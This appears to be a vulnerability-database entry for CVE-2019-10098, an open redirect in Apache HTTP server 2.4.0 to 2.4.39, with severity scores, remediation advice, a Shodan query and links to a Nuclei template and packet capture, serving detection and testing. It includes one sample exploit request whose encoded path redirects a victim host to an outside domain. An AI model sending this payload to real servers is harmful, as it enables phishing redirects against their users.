🔙 목록으로 돌아가기

CVE-2019-10098: Apache HTTP server v2.4.0 to v2.4.39 - Open Redirect

TitleApache HTTP server v2.4.0 to v2.4.39 - Open Redirect
Authorctflearner
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the download of malware.
RemediationUpgrade Apache HTTP server to version 2.4.40 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.77919
CVE IDCVE-2019-10098
CWE IDCWE-601
Shodan Querycpe:"cpe:2.3:a:apache:http_server"apache 2.4.49
Tags cve cve2019 redirect apache server vkev vuln

🔍 Vulnerability Description

In Apache HTTP server 2.4.0 to 2.4.39, Redirects configured with mod_rewrite that were intended to be self-referential might be fooled by encoded newlines and redirect instead to an unexpected URL within the request URL.

🌐 HTTP Request

GET /http%3A%2F%2Fwww.interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-10098.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-10098.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A